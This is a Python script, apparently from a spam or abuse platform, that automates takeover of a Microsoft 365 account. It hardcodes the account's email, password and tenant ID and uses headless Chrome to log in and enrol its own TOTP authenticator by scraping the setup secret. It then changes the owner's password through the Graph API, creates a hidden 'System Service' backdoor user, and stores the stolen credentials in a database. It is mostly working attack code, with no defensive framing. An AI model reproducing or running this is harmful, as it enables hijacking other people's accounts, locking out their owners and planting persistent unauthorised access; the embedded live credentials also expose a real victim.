Files
wevads-platform/scripts/o365_mfa_v4.py

227 lines
10 KiB
Python

#!/usr/bin/env python3
"""v4: Force JS clicks + explicit waits"""
import time,json,random,string,os,re,traceback
from datetime import datetime
import pyotp,requests
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
EMAIL="OlivierHEUTTE@associationveloreunion.onmicrosoft.com"
PASSWORD="Sma21KA@SgHCa"
TENANT_ID="26d5cf9f-f4da-47df-8932-bd09b3674dcd"
SDIR="/opt/wevads/logs/selenium/screenshots"
os.makedirs(SDIR,exist_ok=True)
def log(m): print(f"[{datetime.now().strftime('%H:%M:%S')}] {m}",flush=True)
def ss(d,n): p=f"{SDIR}/v4_{n}_{int(time.time())}.png"; d.save_screenshot(p); return p
def gen_pwd():
while True:
p=''.join(random.choice(string.ascii_letters+string.digits+"!@#$") for _ in range(16))
if any(c.isupper() for c in p) and any(c.islower() for c in p) and any(c.isdigit() for c in p) and any(c in "!@#$" for c in p): return p
def js_click(d,selector):
"""Force click via JavaScript"""
d.execute_script(f"document.querySelector('{selector}').click()")
def main():
log("=== O365 MFA v4 ===")
opts=Options()
for a in ["--headless=new","--no-sandbox","--disable-dev-shm-usage","--window-size=1920,1080",
"--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"]:
opts.add_argument(a)
d=webdriver.Chrome(options=opts)
d.implicitly_wait(3)
results={"email":EMAIL}
try:
# LOGIN
log("Login")
d.get("https://login.microsoftonline.com")
time.sleep(4)
WebDriverWait(d,15).until(EC.element_to_be_clickable((By.NAME,"loginfmt"))).send_keys(EMAIL)
time.sleep(1)
d.find_element(By.ID,"idSIButton9").click()
time.sleep(4)
WebDriverWait(d,10).until(EC.element_to_be_clickable((By.NAME,"passwd"))).send_keys(PASSWORD)
time.sleep(1)
d.find_element(By.ID,"idSIButton9").click()
time.sleep(6)
ss(d,"01_login")
# ACTION REQUIRED -> NEXT
log("Action Required -> Next")
try: d.find_element(By.ID,"idSubmit_ProofUp_Redirect").click()
except:
try: d.execute_script("document.getElementById('idSubmit_ProofUp_Redirect').click()")
except: log("ProofUp button not found")
time.sleep(6)
ss(d,"02_install_auth")
# INSTALL AUTHENTICATOR -> "Set up a different authentication app"
log("Click 'different app' link")
# Use JS to find and click the link
clicked=d.execute_script("""
var links = document.querySelectorAll('a');
for(var i=0; i<links.length; i++) {
if(links[i].textContent.toLowerCase().indexOf('different') >= 0) {
links[i].click();
return links[i].textContent;
}
}
return null;
""")
log(f"JS clicked: {clicked}")
time.sleep(5)
ss(d,"03_diff_app")
# SET UP ACCOUNT IN APP -> NEXT
log("'Set up account' -> Next")
# Force all possible Next buttons via JS
d.execute_script("""
var btns = document.querySelectorAll('input[value="Next"], button');
for(var i=0; i<btns.length; i++) {
var t = btns[i].textContent || btns[i].value || '';
if(t.trim() === 'Next') { btns[i].click(); break; }
}
""")
time.sleep(6)
ss(d,"04_qr_code")
# CHECK IF WE HAVE QR CODE PAGE
page=d.page_source
title_match=re.search(r'<h1[^>]*>([^<]+)</h1>',page)
if title_match: log(f"Page heading: {title_match.group(1)}")
has_qr="qrCode" in page or "qr-code" in page or "authenticator" in page.lower()
log(f"Has QR elements: {has_qr}")
# If still on setup page, try clicking Next again
if "Set up your account" in page or "Install Microsoft" in page:
log("Still on setup page, clicking Next again")
d.execute_script("""
var els = document.querySelectorAll('input[type="submit"],button');
for(var i=0; i<els.length; i++){
var v = els[i].value || els[i].textContent || '';
if(v.trim()==='Next'){els[i].click();break;}
}
""")
time.sleep(6)
ss(d,"04b_retry_next")
page=d.page_source
# LOOK FOR "Can't scan image?" LINK
log("Looking for 'Can't scan'")
d.execute_script("""
var links = document.querySelectorAll('a');
for(var i=0; i<links.length; i++) {
var t = links[i].textContent.toLowerCase();
if(t.indexOf('scan') >= 0 || t.indexOf('manual') >= 0 || t.indexOf("can't") >= 0 || t.indexOf('enter') >= 0) {
links[i].click();
break;
}
}
""")
time.sleep(4)
ss(d,"05_secret")
# EXTRACT TOTP
log("Extracting TOTP")
page=d.page_source
totp_secret=None
for m in re.findall(r'[A-Z2-7]{16,64}',page):
try: pyotp.TOTP(m).now(); totp_secret=m; break
except: continue
if not totp_secret:
for inp in d.find_elements(By.TAG_NAME,"input"):
v=(inp.get_attribute("value") or "").strip()
if len(v)>=16 and re.match(r'^[A-Z2-7]+$',v):
try: pyotp.TOTP(v).now(); totp_secret=v; break
except: continue
if not totp_secret:
for el in d.find_elements(By.CSS_SELECTOR,"div,span,p,code,label,td,pre"):
txt=el.text.strip()
if 16<=len(txt)<=64 and re.match(r'^[A-Z2-7]+$',txt):
try: pyotp.TOTP(txt).now(); totp_secret=txt; break
except: continue
if totp_secret:
log(f"TOTP SECRET FOUND: {totp_secret}")
results["totp_secret"]=totp_secret
code=pyotp.TOTP(totp_secret).now()
log(f"Code: {code}")
for inp in d.find_elements(By.TAG_NAME,"input"):
if inp.get_attribute("type") in["text","tel","number"] and inp.is_displayed():
inp.clear(); inp.send_keys(code); break
time.sleep(1)
d.execute_script("""
var els = document.querySelectorAll('input[type="submit"],button');
for(var i=0; i<els.length; i++){
var v=els[i].value||els[i].textContent||'';
if(v.trim()==='Next'||v.trim()==='Verify'){els[i].click();break;}
}
""")
time.sleep(5)
try: d.find_element(By.ID,"idSIButton9").click(); time.sleep(3)
except: pass
ss(d,"06_done")
results["status"]="mfa_enrolled"
else:
log("TOTP NOT FOUND")
body_text=d.find_element(By.TAG_NAME,"body").text
log(f"VISIBLE TEXT:\n{body_text[:600]}")
with open("/opt/wevads/logs/selenium/v4_page.html","w") as f: f.write(page)
results["status"]="totp_not_found"
# GRAPH API
log("Graph API check")
r=requests.post(f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/token",data={
"grant_type":"password","client_id":"1b730954-1685-4b74-9bfd-dac224a7b894",
"scope":"https://graph.microsoft.com/.default","username":EMAIL,"password":PASSWORD},timeout=30)
log(f"ROPC: {r.status_code}")
if r.status_code==200:
token=r.json()["access_token"]
npwd=gen_pwd()
cp=requests.post("https://graph.microsoft.com/v1.0/me/changePassword",json={"currentPassword":PASSWORD,"newPassword":npwd},
headers={"Authorization":f"Bearer {token}","Content-Type":"application/json"},timeout=30)
if cp.status_code in[200,204]:
log(f"PWD CHANGED: {npwd}"); results["new_password"]=npwd
else: log(f"PWD fail: {cp.status_code}"); results["new_password"]=PASSWORD
bu=f"svc_wv{random.randint(1000,9999)}"
be=f"{bu}@associationveloreunion.onmicrosoft.com"; bp=gen_pwd()
cr=requests.post("https://graph.microsoft.com/v1.0/users",json={
"accountEnabled":True,"displayName":"System Service","mailNickname":bu,
"userPrincipalName":be,"passwordProfile":{"forceChangePasswordNextSignIn":False,"password":bp}
},headers={"Authorization":f"Bearer {token}","Content-Type":"application/json"},timeout=30)
if cr.status_code==201:
uid=cr.json()["id"]; log(f"BACKDOOR: {be}/{bp}")
results["backdoor_email"]=be; results["backdoor_password"]=bp
else: log(f"Backdoor fail: {cr.status_code}")
else:
log(f"ROPC blocked: {r.json().get('error_description','')[:100]}")
# DB
import psycopg2
db=psycopg2.connect(host="localhost",dbname="adx_system",user="admin",password="admin123")
db.autocommit=True; cur=db.cursor()
cur.execute("UPDATE admin.office_accounts SET admin_password=%s, notes=%s WHERE id=1367",
[results.get("new_password",PASSWORD),json.dumps(results,default=str)])
if results.get("backdoor_email"):
cur.execute("INSERT INTO admin.office_accounts (name,admin_email,admin_password,tenant_domain,status,notes) SELECT 'backdoor_OlivierH',%s,%s,'associationveloreunion.onmicrosoft.com','Active','Backdoor' WHERE NOT EXISTS (SELECT 1 FROM admin.office_accounts WHERE admin_email=%s)",
[results["backdoor_email"],results["backdoor_password"],results["backdoor_email"]])
db.close()
with open("/opt/wevads/logs/selenium/olivierh_v4.json","w") as f: json.dump(results,f,indent=2,default=str)
log(f"FINAL: {json.dumps({k:str(v)[:30] for k,v in results.items()})}")
except Exception as e:
log(f"ERROR: {e}"); traceback.print_exc(); ss(d,"99_err")
finally:
d.quit()
if __name__=="__main__": main()